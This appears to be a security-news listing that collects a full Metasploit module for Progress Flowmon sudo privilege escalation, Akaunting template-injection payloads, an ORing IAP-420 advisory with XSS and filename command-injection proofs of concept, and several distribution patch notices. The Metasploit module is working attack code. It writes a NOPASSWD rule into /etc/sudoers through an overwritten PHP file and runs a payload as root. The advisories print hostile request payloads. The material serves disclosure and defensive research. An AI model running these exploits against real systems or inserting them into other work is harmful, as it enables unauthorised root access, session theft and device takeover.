This Metasploit module abuses a feature of the sudo command on Progress Flowmon. Certain binary files are allowed to automatically elevate with the sudo command. This is based off of the file name. This includes executing a PHP command with a specific file name. If the file is overwritten with PHP code it can be used to elevate privileges to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.

    # This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Post::File  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Progress Flowmon Local sudo privilege escalation',        'Description' => %q{          This module abuses a feature of the sudo command on Progress Flowmon.          Certain binary files are allowed to automatically elevate          with the sudo command.  This is based off of the file name.  This          includes executing a PHP command with a specific file name. If the          file is overwritten with PHP code it can be used to elevate privileges          to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.        },        'Author' => [          'Dave Yesland with Rhino Security Labs',        ],        'License' => MSF_LICENSE,        'References' => [          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],          ['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']        ],        'DisclosureDate' => '2024-03-19',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],          'Reliability' => [ REPEATABLE_SESSION ]        },        'SessionTypes' => ['shell', 'meterpreter'],        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_X86, ARCH_X64],        'Targets' => [['Automatic', {}]],        'Privileged' => true      )    )    register_options([      OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),    ])  end  def check    score = 0    score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon')    score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface')    score += 1 if exists?('/var/www/shtml/translate.php')    vprint_status("Found #{score} indicators this is a Progress Flowmon product")    return CheckCode::Detected if score > 0    return CheckCode::Safe  end  def on_new_session(session)    super    print_status('Cleaning up addition to /etc/sudoers')    if session.type.to_s.eql? 'meterpreter'      session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\""    elsif session.type.to_s.eql? 'shell'      session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers'    end  end  def cleanup    super    unless @index_php_contents.blank?      print_status('Restoring /var/www/shtml/index.php file contents...')      file_rm('/var/www/shtml/index.php')      write_file('/var/www/shtml/index.php', @index_php_contents)    end  end  def exploit    @index_php_contents = ''    fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])    exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"    vprint_status("Saving payload as #{exploit_file}")    write_file(exploit_file, generate_payload_exe)    chmod(exploit_file)    register_file_for_cleanup(exploit_file)    @index_php_contents = read_file('/var/www/shtml/index.php')    print_status('Overwriting /var/www/shtml/index.php with payload')    cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')    print_status('Executing sudo to elevate privileges')    cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;')    cmd_exec("sudo '#{exploit_file}'")  endend

Progress Flowmon 12.3.5 Local sudo Privilege Escalation

Sysdig Falco is a behavioral activity monitoring agent that is open source and comes with native support for containers. Falco lets you define highly granular rules to check for activities involving file and network activity, process execution, IPC, and much more, using a flexible syntax. Falco will notify you when these rules are violated. You can think about Falco as a mix between snort, ossec and strace.

Falco 0.38.0

Debian Linux Security Advisory 5700-1 - An SQL injection was discovered in pymysql, a pure Python MySQL driver.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5700-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffMay 29, 2024                          https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : python-pymysqlCVE ID         : CVE-2024-36039An SQL injection was discovered in pymysql, a pure Python MySQL driver.For the oldstable distribution (bullseye), this problem has been fixedin version 0.9.3-2+deb11u1.For the stable distribution (bookworm), this problem has been fixed inversion 1.0.2-2+deb12u1.We recommend that you upgrade your python-pymysql packages.For the detailed security status of python-pymysql please refer toits security tracker page at:https://security-tracker.debian.org/tracker/python-pymysqlFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmZXZeAACgkQEMKTtsN8TjY9cRAAkMErPcbiz3MnN7NmUuqkG/NmbuUM9smN4WZp8sF6kCsCm9G8M/dSioS+IpZMFUv1DDELh2HtxWjvA+fqMTddY3CxINKmJEiMKPd8I02CjJsq1gArH8VVAaxNFQRyU69RA1hecMcQvR1lEssciddFfkzpe6E1SXK/Mp2JMNWmtpRJNUZ9khhIf4PrthpForQN8EzQs8gJRQ/2rN48TgcAA/bGyS+W5PGJbb+1RjW5H4eaNo1HHgZNwJNcTjkylG9MV7nzC5ThCPb7ycrIadYPV/IAYqnh5qUHQnDDROFvWE1MDdn9cPxGYoDmFk+/Sgxe9HXRE+Dr8/h0vb0tBBSqN6nBG/OBHKT3eKsDJVPt8TWkBuagsCvNFY3a7Unu9NQC6NavUanspOacnY1W65BYHUq/5e/U0cLyZgJcPzaJSKeZHVsHLHLStqbKUCWVBpDxX+5eVd8v3hxGq32H3e71MKqoLV5FzWUzf77qe8SxhWJ+7YSUdYVpVjZXtronaUvPKTub8p2d32dAZOSQYTbeehQpb1pIoVBWNxAOi12xTz8y7qta/DspjF4Tj3ks+9EiKtS7Bzf+jEQmYEI04RxRn/wdHRFhYjwaGsvhlaH221Y/w53fczJ5bj2zQODBJShGhuNmwpz9Jr7fvI+gZE3smVkMLWaJPl2BhtF2kAFB62s==sLat-----END PGP SIGNATURE-----

Debian Security Advisory 5700-1

Akaunting version 3.1.8 suffers from a client-side template injection vulnerability.

    # Exploit Title: Akaunting 3.1.8 - Client Side Template Injection CSTI# Exploit Author: tmrswrr# Date: 30/05/2024# Vendor: https://akaunting.com/forum# Software Link: https://akaunting.com/apps/crm# Vulnerable Version(s): 3.1.81 ) Login with admin cred and go to : Currencies > New Currency    https://127.0.0.1/Akaunting/1/settings/currencies2 ) Write SSTI payload : {{ Object.keys(this) }} Name field 3 ) Save it 4 ) You will be see result :     "_uid",  "_isVue",  "__v_skip",  "_scope",  "$options",  "_renderProxy",  "_self",  "$parent",  "$root",  "$children",  "$refs",    > {{ this.$root.$data }}  >  "form": {},  "bulk_action": {    "path": "currencies",    "count": "",    "value": "*",    "message": "",    "type": "",    "show": false,    "modal": false,    "loading": false,    "selected": [],      > {{ Object.keys(this._self) }}   > "_uid",      "_isVue",      "__v_skip",      "_scope",      "$options",      "_renderProxy",      "_self",      "$parent",      "$root",      "$children",      "$refs",    > {{$on.constructor('alert(1)')()}}    > You will be see alert box=======================================================================================1 ) Login with admin cred and go to : Items > New Item    https://127.0.0.1/Akaunting/1/common/items2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers3 ) Save it 4 ) You will be see result :     49    ====================================================================================1 ) Login with admin cred and go to :Settings > Taxes > New Tax    https://127.0.0.1/Akaunting/1/settings/taxes/1/edit2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab====================================================================================1 ) Login with admin cred and go to : Banking > Transactions > New Incomehttps://127.0.0.1/Akaunting/1/banking/transactions/create?type=income2 ) Write SSTI payload : {{7*7}}  Description field3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab    =======================================================================================1 ) Login with admin credhttps://127.0.0.1/Akaunting/1/purchases/vendors/1/edit2 ) Write SSTI payload : {{7*7}}  Name field3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab    > {{self}}    >

Akaunting 3.1.8 Client-Side Template Injection

Akaunting version 3.1.8 suffers from a server-side template injection vulnerability.

    # Exploit Title: Akaunting 3.1.8 - Server-Side Template Injection (SSTI)# Exploit Author: tmrswrr# Date: 30/05/2024# Vendor: https://akaunting.com/forum# Software Link: https://akaunting.com/apps/crm# Vulnerable Version(s): 3.1.8# Tested : https://www.softaculous.com/apps/erp/Akaunting1 ) Login with admin cred and go to : Items > New Item    https://127.0.0.1/Akaunting/1/common/items2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers3 ) Save it 4 ) You will be see result :     49    ====================================================================================1 ) Login with admin cred and go to :Settings > Taxes > New Tax    https://127.0.0.1/Akaunting/1/settings/taxes/1/edit2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab====================================================================================1 ) Login with admin cred and go to : Banking > Transactions > New Incomehttps://127.0.0.1/Akaunting/1/banking/transactions/create?type=income2 ) Write SSTI payload : {{7*7}}  Description field3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab    =======================================================================================1 ) Login with admin credhttps://127.0.0.1/Akaunting/1/purchases/vendors/1/edit2 ) Write SSTI payload : {{7*7}}  Name field3 ) Save it 4 ) You will be see result :     49    > {{'a'.toUpperCase()}}    > A    > {{'a'.concat('b')}}    > ab

Akaunting 3.1.8 Server-Side Template Injection

Ubuntu Security Notice 6798-1 - It was discovered that GStreamer Base Plugins incorrectly handled certain EXIF metadata. An attacker could possibly use this issue to execute arbitrary code or cause a crash.

==========================================================================  
Ubuntu Security Notice USN-6798-1  
May 29, 2024

gst-plugins-base1.0 vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 24.04 LTS  
- Ubuntu 23.10  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS

Summary:

GStreamer Base Plugins could be made to crash or run programs as your login if it  
opened a specially crafted file.

Software Description:  
- gst-plugins-base1.0: GStreamer plugins

Details:

It was discovered that GStreamer Base Plugins incorrectly handled certain  
EXIF metadata. An attacker could possibly use this issue to execute arbitrary  
code or cause a crash.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 24.04 LTS  
  gstreamer1.0-plugins-base       1.24.2-1ubuntu0.1

Ubuntu 23.10  
  gstreamer1.0-plugins-base       1.22.6-1ubuntu0.1

Ubuntu 22.04 LTS  
  gstreamer1.0-plugins-base       1.20.1-1ubuntu0.2

Ubuntu 20.04 LTS  
  gstreamer1.0-plugins-base       1.16.3-0ubuntu1.3

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-6798-1  
  CVE-2024-4453

Package Information:  
  https://launchpad.net/ubuntu/+source/gst-plugins-base1.0/1.24.2-1ubuntu0.1  
  https://launchpad.net/ubuntu/+source/gst-plugins-base1.0/1.22.6-1ubuntu0.1  
  https://launchpad.net/ubuntu/+source/gst-plugins-base1.0/1.20.1-1ubuntu0.2  
  https://launchpad.net/ubuntu/+source/gst-plugins-base1.0/1.16.3-0ubuntu1.3

Ubuntu Security Notice USN-6798-1

ORing IAP-420 version 2.01e suffers from remote command injection and persistent cross site scripting vulnerabilities.

    CyberDanube Security Research 20240528-0-------------------------------------------------------------------------------                title| Multiple Vulnerabilities              product| ORing IAP-420   vulnerable version| 2.01e        fixed version| -           CVE number| CVE-2024-5410, CVE-2024-5411               impact| High             homepage| https://oringnet.com/                found| 2024-01-19                   by| T. Weber (Office Vienna)                     | CyberDanube Security Research                     | Vienna | St. Pölten                     |                     | https://www.cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"Founded in 2005, ORing specializes in developing innovative own-brandedproducts for industrial settings. Over the years, ORing has accumulatedabundant experience in wired and wireless network communications industry. Inline with the commercialization of 5G, ORing has stretched its arm into theIIoT field, helping customers realize all kinds of IIoT applications such assmart manufacturing, smart city, and industrial automation. With high productquality and best customer services in mind, ORing has continued to launchcutting-edge products catering to customer needs. ORing's products have beenwidely adopted in surveillance, rail transport, industrial automation, powersubstations, renewable energy, and marine industries with offices worldwide toaddress customer needs in real time."Source: https://oringnet.com/en/about-us/company-profileVulnerable versions-------------------------------------------------------------------------------IAP-420 / 2.01eVulnerability overview-------------------------------------------------------------------------------1) Stored Cross-Site Scripting (CVE-2024-5410)A Stored Cross-Site Scripting vulnerability was identified in the web interfaceof the device. The SSID of the WiFi can be configured to contain arbitraryJavaScript code. An attacker can exploit this vulnerability by luring a victimto visit a malicious website. Furthermore, it is possible to hijack the sessionof the attacked user.2) Authenticated Command Injection (CVE-2024-5411)The filename parameter of the config file upload is prone to a CommandInjection vulnerability. This vulnerability can only be exploited if a user isauthenticated to the web interface. This way, an attacker can invoke commandsand is able to get full control over the whole device.Proof of Concept-------------------------------------------------------------------------------1) Stored Cross-Site Scripting (CVE-2024-5410)Stored Cross-Site Scripting can be triggered by placing JavaScript code intothe SSID input field of the web interface as authenticated user. A singlerequest for injecting the script is shown below:-------------------------------------------------------------------------------POST /cgi-bin/wl_set.cgi HTTP/1.1Host: 192.168.0.1Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 659Connection: keep-aliveCookie: auth=YWRtaW46YWRtaW4=Upgrade-Insecure-Requests: 1sel_op_mode=client&sel_mssid=0&tf_ssid=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&sel_isolation=0&sel_mssid_isolation=0&sel_auth_mode=0&rb_wep_authmode=0&sel_wep_enc_bits=0&sel_wep_key_type=0&tf_key1=&tf_key2=&tf_key3=&tf_key4=&rb_wpapsk_authmode=0&rb_wpapsk_enc=0&tf_wpa_key=&rb_wpa_authmode=0&rb_wpa_enc=0&tf_ip1=&tf_ip2=&tf_ip3=&tf_ip4=&tf_radius_port=&tf_radius_key=&tf_ip1_1x=&tf_ip2_1x=&tf_ip3_1x=&tf_ip4_1x=&tf_radius_port_1x=&tf_radius_key_1x=&bt_save=Save&lang=en&channel=0&isolation=0&mssid_isolation=0&auth_mode=0&wep_authmode=0&wpapsk_authmode=0&wpa_authmode=0&wpa_enc_type=0&wep_enc_bits=0&wep_key_type=0&wep_key_index=0&ret_msg=-------------------------------------------------------------------------------2) Authenticated Command Injection (CVE-2024-5411)A command can be injected in the filename of the uploaded config. By sending arequest as shown below, the content of the current directory can be shown:-------------------------------------------------------------------------------POST /cgi-bin/admin_config.cgi?todo=upconf HTTP/1.1Host: 10.69.10.2User-Agent: Mozilla/5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------347087158737672164432057801583Content-Length: 563Connection: keep-aliveCookie: auth=YWRtaW46YWRtaW4=Upgrade-Insecure-Requests: 1-----------------------------347087158737672164432057801583Content-Disposition: form-data; name="upfile"; filename="test.bin;ls${IFS}-la;"-----------------------------347087158737672164432057801583Content-Disposition: form-data; name="bt_upconf"Upload-----------------------------347087158737672164432057801583Content-Disposition: form-data; name="lang"en-----------------------------347087158737672164432057801583Content-Disposition: form-data; name="ret_msg_upconf"-----------------------------347087158737672164432057801583---------------------------------------------------------------------------------This request is equal to executing "ls -la" on the console of the device.-------------------------------------------------------------------------------HTTP/1.0 200 OKtar: can't open '/tmp/test.bin': No such file or directorydrwxr-xr-x    4 root     root         1024 Mar  7 14:36 .drwxr-xr-x    8 root     root         1024 Jan 30  2024 ..-rwxr-xr-x    1 root     root        17572 Jan 30  2024 admin_config.cgi-rwxr-xr-x    1 root     root        17584 Jan 30  2024 admin_default.cgi-rwxr-xr-x    1 root     root        15984 Jan 30  2024 admin_fwup.cgi-rwxr-xr-x    1 root     root        12476 Jan 30  2024 admin_password.cgi-rwxr-xr-x    1 root     root        13164 Jan 30  2024 admin_restart.cgi-rwxr-xr-x    1 root     root        33336 Jan 30  2024 adv_filters.cgi-rwxr-xr-x    1 root     root        15032 Jan 30  2024 adv_misc.cgi-rwxr-xr-x    1 root     root        72168 Jan 30  2024 adv_rstp.cgi-rwxr-xr-x    1 root     root         6588 Jan 30  2024 backup_unit.cgi[...]-------------------------------------------------------------------------------The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------NoneWorkaround-------------------------------------------------------------------------------NoneRecommendation-------------------------------------------------------------------------------CyberDanube recommends Oring customers to upgrade the firmware to the latestversion available and to restrict network access to the management interface ofthe device.Contact Timeline-------------------------------------------------------------------------------2024-02-06: Contacting ORing via support@oringnet.com. Automatic holiday reply.2024-02-19: Asking for an update. No reply.2024-02-28: Asking for an update. No reply.2024-03-11: Searched for "cyber security manager" on LinkedIn. Contacted him            and got the answer, that the content should be sent to            "support@oringnet.com". Sent the advisory to this address directly.2024-03-20: Asking for an update. No reply.2024-04-10: Asking for an update. No reply.2024-04-30: Including support_us@oringnet.com. Asking for an update. Added            notification about responsible disclosure deadline. No reply.2024-05-02: Including support_eu@oringnet.com. Asking for an update. Added            notification about responsible disclosure deadline. No reply.2024-05-27: Sent information that the advisory will be published on 2024-05-28.2024-05-28: Public release of security advisory.Web: https://www.cyberdanube.comTwitter: https://twitter.com/cyberdanubeMail: research at cyberdanube dot comEOF T. Weber / @2024

ORing IAP-420 2.01e Cross Site Scripting / Command Injection

Ubuntu Security Notice 6796-1 - Fergus Dall discovered that TPM2 Software Stack did not properly handle layer arrays. An attacker could possibly use this issue to cause TPM2 Software Stack to crash, resulting in a denial of service, or possibly execute arbitrary code. Jurgen Repp and Andreas Fuchs discovered that TPM2 Software Stack did not validate the quote data after deserialization. An attacker could generate an arbitrary quote and cause TPM2 Software Stack to have unknown behavior.

==========================================================================  
Ubuntu Security Notice USN-6796-1  
May 29, 2024

tpm2-tss vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 24.04 LTS  
- Ubuntu 23.10  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS

Summary:

Several security issues were fixed in TPM2 Software Stack.

Software Description:  
- tpm2-tss: TPM2 Software Stack library

Details:

Fergus Dall discovered that TPM2 Software Stack did not properly handle  
layer arrays. An attacker could possibly use this issue to cause  
TPM2 Software Stack to crash, resulting in a denial of service, or  
possibly execute arbitrary code.  
(CVE-2023-22745)

Jurgen Repp and Andreas Fuchs discovered that TPM2 Software Stack did not  
validate the quote data after deserialization. An attacker could generate  
an arbitrary quote and cause TPM2 Software Stack to have unknown behavior.  
(CVE-2024-29040)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 24.04 LTS  
   libtss2-esys-3.0.2-0t64         4.0.1-7.1ubuntu5.1  
   libtss2-fapi1t64                4.0.1-7.1ubuntu5.1  
   libtss2-mu-4.0.1-0t64           4.0.1-7.1ubuntu5.1  
   libtss2-policy0t64              4.0.1-7.1ubuntu5.1  
   libtss2-rc0t64                  4.0.1-7.1ubuntu5.1  
   libtss2-sys1t64                 4.0.1-7.1ubuntu5.1  
   libtss2-tcti-cmd0t64            4.0.1-7.1ubuntu5.1  
   libtss2-tcti-device0t64         4.0.1-7.1ubuntu5.1  
   libtss2-tcti-libtpms0t64        4.0.1-7.1ubuntu5.1  
   libtss2-tcti-mssim0t64          4.0.1-7.1ubuntu5.1  
   libtss2-tcti-pcap0t64           4.0.1-7.1ubuntu5.1  
   libtss2-tcti-spi-helper0t64     4.0.1-7.1ubuntu5.1  
   libtss2-tcti-swtpm0t64          4.0.1-7.1ubuntu5.1  
   libtss2-tctildr0t64             4.0.1-7.1ubuntu5.1

Ubuntu 23.10  
   libtss2-esys-3.0.2-0            4.0.1-3ubuntu1.1  
   libtss2-fapi1                   4.0.1-3ubuntu1.1  
   libtss2-mu0                     4.0.1-3ubuntu1.1  
   libtss2-policy0                 4.0.1-3ubuntu1.1  
   libtss2-rc0                     4.0.1-3ubuntu1.1  
   libtss2-sys1                    4.0.1-3ubuntu1.1  
   libtss2-tcti-cmd0               4.0.1-3ubuntu1.1  
   libtss2-tcti-device0            4.0.1-3ubuntu1.1  
   libtss2-tcti-libtpms0           4.0.1-3ubuntu1.1  
   libtss2-tcti-mssim0             4.0.1-3ubuntu1.1  
   libtss2-tcti-pcap0              4.0.1-3ubuntu1.1  
   libtss2-tcti-spi-helper0        4.0.1-3ubuntu1.1  
   libtss2-tcti-swtpm0             4.0.1-3ubuntu1.1  
   libtss2-tctildr0                4.0.1-3ubuntu1.1

Ubuntu 22.04 LTS  
   libtss2-esys-3.0.2-0            3.2.0-1ubuntu1.1  
   libtss2-fapi1                   3.2.0-1ubuntu1.1  
   libtss2-mu0                     3.2.0-1ubuntu1.1  
   libtss2-rc0                     3.2.0-1ubuntu1.1  
   libtss2-sys1                    3.2.0-1ubuntu1.1  
   libtss2-tcti-cmd0               3.2.0-1ubuntu1.1  
   libtss2-tcti-device0            3.2.0-1ubuntu1.1  
   libtss2-tcti-mssim0             3.2.0-1ubuntu1.1  
   libtss2-tcti-swtpm0             3.2.0-1ubuntu1.1  
   libtss2-tctildr0                3.2.0-1ubuntu1.1

Ubuntu 20.04 LTS  
   libtss2-esys0                   2.3.2-1ubuntu0.20.04.2

In general, a standard system update will make all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6796-1  
   CVE-2023-22745, CVE-2024-29040

Package Information:  
   https://launchpad.net/ubuntu/+source/tpm2-tss/4.0.1-7.1ubuntu5.1  
   https://launchpad.net/ubuntu/+source/tpm2-tss/4.0.1-3ubuntu1.1  
   https://launchpad.net/ubuntu/+source/tpm2-tss/3.2.0-1ubuntu1.1  
   https://launchpad.net/ubuntu/+source/tpm2-tss/2.3.2-1ubuntu0.20.04.2

Ubuntu Security Notice USN-6796-1

Ubuntu Security Notice 6799-1 - It was discovered that the debugger in Werkzeug was not restricted to trusted hosts. A remote attacker could possibly use this issue to execute code on the host under certain circumstances.

==========================================================================  
Ubuntu Security Notice USN-6799-1  
May 29, 2024

python-werkzeug vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 24.04 LTS  
- Ubuntu 23.10  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS  
- Ubuntu 16.04 LTS

Summary:

Werkzeug could be made to execute code under certain circumstances.

Software Description:  
- python-werkzeug: collection of utilities for WSGI applications

Details:

It was discovered that the debugger in Werkzeug was not restricted to  
trusted hosts. A remote attacker could possibly use this issue to execute  
code on the host under certain circumstances.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 24.04 LTS  
   python3-werkzeug                3.0.1-3ubuntu0.1

Ubuntu 23.10  
   python3-werkzeug                2.2.2-3ubuntu0.1

Ubuntu 22.04 LTS  
   python3-werkzeug                2.0.2+dfsg1-1ubuntu0.22.04.2

Ubuntu 20.04 LTS  
   python3-werkzeug                0.16.1+dfsg1-2ubuntu0.2

Ubuntu 18.04 LTS  
   python-werkzeug                 0.14.1+dfsg1-1ubuntu0.2+esm1  
                                   Available with Ubuntu Pro  
   python3-werkzeug                0.14.1+dfsg1-1ubuntu0.2+esm1  
                                   Available with Ubuntu Pro

Ubuntu 16.04 LTS  
   python-werkzeug                 0.10.4+dfsg1-1ubuntu1.2+esm2  
                                   Available with Ubuntu Pro  
   python3-werkzeug                0.10.4+dfsg1-1ubuntu1.2+esm2  
                                   Available with Ubuntu Pro

In general, a standard system update will make all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6799-1  
   CVE-2024-34069

Package Information:  
https://launchpad.net/ubuntu/+source/python-werkzeug/3.0.1-3ubuntu0.1  
https://launchpad.net/ubuntu/+source/python-werkzeug/2.2.2-3ubuntu0.1  
https://launchpad.net/ubuntu/+source/python-werkzeug/2.0.2+dfsg1-1ubuntu0.22.04.2  
https://launchpad.net/ubuntu/+source/python-werkzeug/0.16.1+dfsg1-2ubuntu0.2

Ubuntu Security Notice USN-6799-1

Red Hat Security Advisory 2024-3486-03 - An update for gdisk is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_3486.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: gdisk security updateAdvisory ID:        RHSA-2024:3486-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:3486Issue date:         2024-05-30Revision:           03CVE Names:          CVE-2020-0256====================================================================Summary: An update for gdisk is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.Red Hat Product Security has rated this update as having a security impact ofModerate. A Common Vulnerability Scoring System (CVSS) base score, which gives adetailed severity rating, is available for each vulnerability from the CVElink(s) in the References section.Description:The gdisk packages provide the gdisk partitioning utility for GUID PartitionTable (GPT) disks. The utility features a command-line interface similar tofdisk, direct manipulation of partition table structures, recovery tools to dealwith corrupt partition tables, and the ability to convert Master Boot Record(MBR) disks to the GPT format.Security Fix(es):* gdisk: possible out-of-bounds-write in LoadPartitionTable of gpt.cc(CVE-2020-0256)* gdisk: possible out-of-bounds-write in ReadLogicalParts of basicmbr.cc(CVE-2021-0308)For more details about the security issue(s), including the impact, a CVSSscore, acknowledgments, and other related information, refer to the CVE page(s)listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2020-0256References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2051939https://bugzilla.redhat.com/show_bug.cgi?id=2051943